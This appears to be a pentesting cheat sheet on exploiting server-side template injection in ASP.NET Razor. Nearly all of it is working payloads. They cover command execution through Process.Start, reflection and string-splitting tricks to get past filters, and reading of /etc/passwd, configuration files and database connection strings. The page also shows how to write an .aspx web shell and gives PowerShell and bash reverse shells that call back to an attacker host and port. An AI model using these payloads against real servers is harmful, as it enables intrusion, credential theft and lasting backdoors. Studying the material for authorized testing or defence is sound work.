Skip to content

Razor (.NET - ASP.NET, ASP.NET Core)

Razor evaluates C#. If you reach Razor compilation with user input, you have full .NET BCL access - System.Diagnostics.Process.Start, System.IO.File, anything in the application’s referenced assemblies.

# Confirm Razor
@(7*7) # → 49
@System.Environment.MachineName # returns server hostname
# RCE - direct
@System.Diagnostics.Process.Start("cmd", "/c whoami").StandardOutput.ReadToEnd()
@{ var p = new System.Diagnostics.Process(); p.StartInfo.FileName = "cmd"; p.StartInfo.Arguments = "/c whoami"; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.Start(); p.WaitForExit(); @p.StandardOutput.ReadToEnd() }
# File read
@System.IO.File.ReadAllText(@"C:\Windows\System32\drivers\etc\hosts")
@System.IO.File.ReadAllText("/etc/passwd") # Linux .NET Core

Success indicator: command output (username, hostname, file contents) in response.

  • ASP.NET (Web Forms with Razor) - .cshtml files. SSTI sinks are rare on classic Web Forms but appear in custom CMSes.
  • ASP.NET Core MVC - Razor is the default view engine. Sinks are in admin “template editor” features or anywhere RazorEngine / RazorLight is invoked with user input.
  • Umbraco CMS - .cshtml templates editable by admins. Common target.
  • Orchard Core - Razor templates in widget definitions.
  • DotNetNuke / DNN - module Razor templates.
  • Custom .NET apps - anything embedding RazorEngine.Engine.Razor.RunCompile() with externally-influenced input.
@(7*7) # → 49 confirms Razor template eval
@System.Environment.MachineName # returns hostname - confirms .NET BCL access
@DateTime.Now # returns current server time

If @(7*7) returns 49, Razor is evaluating. Move directly to step 2 - there’s no sandbox layer in Razor by default.

C# has multiple process-launch APIs. Pick based on what the application reflects.

Path A - Process.Start with output capture

Section titled “Path A - Process.Start with output capture”
@{
var psi = new System.Diagnostics.ProcessStartInfo("cmd.exe", "/c whoami") {
UseShellExecute = false,
RedirectStandardOutput = true
};
var p = System.Diagnostics.Process.Start(psi);
p.WaitForExit();
@p.StandardOutput.ReadToEnd()
}

The verbose form. Captures stdout and reflects it. Use when you control a full code block.

@System.Diagnostics.Process.Start("cmd.exe", "/c whoami").StandardOutput.ReadToEnd()

Won’t capture output without RedirectStandardOutput - usually returns empty or null reference. Use when you only need the command to run, not the output.

On .NET Core / .NET 5+ running on Linux:

@{
var psi = new System.Diagnostics.ProcessStartInfo("/bin/sh", "-c \"id\"") {
UseShellExecute = false,
RedirectStandardOutput = true
};
var p = System.Diagnostics.Process.Start(psi);
p.WaitForExit();
@p.StandardOutput.ReadToEnd()
}

Same shape, different executable.

Path D - System.Reflection for blocked-namespace bypass

Section titled “Path D - System.Reflection for blocked-namespace bypass”

If System.Diagnostics is filtered, reach Process via reflection:

@{
var t = System.Type.GetType("System.Diagnostics.Process");
var startMethod = t.GetMethod("Start", new System.Type[] { typeof(string), typeof(string) });
startMethod.Invoke(null, new object[] { "cmd.exe", "/c whoami" });
}

Cleaner via Assembly.Load:

@{
var asm = System.Reflection.Assembly.Load("System.Diagnostics.Process");
var t = asm.GetType("System.Diagnostics.Process");
// ... invoke as above
}
# Application config / connection strings
@System.Configuration.ConfigurationManager.ConnectionStrings["default"].ConnectionString
@System.Configuration.ConfigurationManager.AppSettings.AllKeys
# ASP.NET Core configuration (when IConfiguration is reachable through @inject)
@inject Microsoft.Extensions.Configuration.IConfiguration Config
@Config["ConnectionStrings:DefaultConnection"]
# Environment variables
@System.Environment.GetEnvironmentVariables()
@System.Environment.GetEnvironmentVariable("ASPNETCORE_ENVIRONMENT")
# Server info
@System.Environment.MachineName
@System.Environment.UserName # account the app runs as
@System.Environment.OSVersion
@System.Environment.CurrentDirectory # application root
@System.Environment.SystemDirectory
# Loaded assemblies (reveals frameworks/libraries in use)
@string.Join(",", System.AppDomain.CurrentDomain.GetAssemblies().Select(a => a.FullName))

Connection strings frequently contain DB credentials in plaintext - often sufficient on its own.

# Read
@System.IO.File.ReadAllText(@"C:\Windows\win.ini")
@System.IO.File.ReadAllText("/etc/passwd")
@System.IO.File.ReadAllLines(@"C:\path\to\config.json")
# Directory listing
@string.Join(",", System.IO.Directory.GetFiles(@"C:\"))
@string.Join(",", System.IO.Directory.GetFiles("/etc"))
# Write
@{ System.IO.File.WriteAllText(@"C:\inetpub\wwwroot\x.aspx", "<%@ Page Language=\"C#\" %><% Response.Write(System.Diagnostics.Process.Start(\"cmd\",\"/c \"+Request[\"c\"]).StandardOutput.ReadToEnd()); %>"); }

The web-shell write creates an .aspx file accessible at /x.aspx?c=whoami for follow-up commands without re-triggering the SSTI.

PowerShell encoded payload via Process.Start:

@System.Diagnostics.Process.Start("powershell.exe", "-NoP -NonI -W Hidden -Enc BASE64_PAYLOAD")

Replace BASE64_PAYLOAD with the UTF-16LE base64 of:

Terminal window
$client = New-Object System.Net.Sockets.TCPClient('<LHOST>',<LPORT>); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}; $client.Close()

For .NET Core on Linux:

@System.Diagnostics.Process.Start("/bin/sh", "-c \"bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1\"")

Two distinct libraries handle Razor outside the ASP.NET runtime:

  • RazorEngine - older package, NuGet RazorEngine. Trivially exploitable when called with user input.
  • RazorLight - newer, NuGet RazorLight. Same exploitability profile.

Sinks look like:

// RazorEngine
var result = RazorEngine.Engine.Razor.RunCompile(userInput, "templateKey", null, model);
// RazorLight
var result = await engine.CompileRenderStringAsync("templateKey", userInput, model);

These libraries are how Razor SSTI shows up outside MVC views - for example, in headless services that template email or report content.

# Namespace fragments concatenated
@{ var ns = "System.Diagn" + "ostics.Process"; }
@{ var t = System.Type.GetType(ns); /* ... */ }
# Unicode escapes in C# string literals (Razor compiles to C#)
@System.Diagnostics.\u0050rocess.Start("cmd", "/c id")
# Through @using
@using SDP = System.Diagnostics.Process
@SDP.Start("cmd", "/c id")

Razor’s filter surface is narrow because the compiler accepts so many equivalent forms. Filtering by string match almost always misses an alternative path.

@(7*7) # eval probe (returns 49)
@System.Environment.MachineName # returns hostname (clear ID of Razor)
@DateTime.Now # returns server time
@System.IO.Path.DirectorySeparatorChar # returns "\" on Windows, "/" on Linux - OS fingerprint
@System.Environment.OSVersion.Platform # returns Win32NT or Unix

@System.IO.Path.DirectorySeparatorChar is a useful early probe - it returns a single character that’s hard to confuse with anything else and tells you the OS in one go.

  • @{ } code blocks allow multi-statement C#. Useful for capturing process output cleanly.
  • @: inline output lets you reflect the result of an expression as text instead of an HTML node - useful in cases where the output is being structured as JSON or YAML.
  • MVC view compilation - ASP.NET Core compiles views ahead of time by default (Razor compilation in build pipeline). User-input templates require explicit runtime compilation via RazorViewEngine or one of the standalone libraries above.
  • ConfigurationManager is .NET Framework only - on .NET Core / .NET 5+, configuration access is through IConfiguration via dependency injection. Use the @inject directive in a Razor view (if you can include it) or reach configuration through the static ConfigurationBuilder path.
  • Output suppression - Razor errors during compilation throw RazorEngineCompilationException (or similar). Production apps usually swallow these to a generic error page. If a probe produces no output but the page still renders normally, the compilation likely failed - try simpler probes to confirm presence first.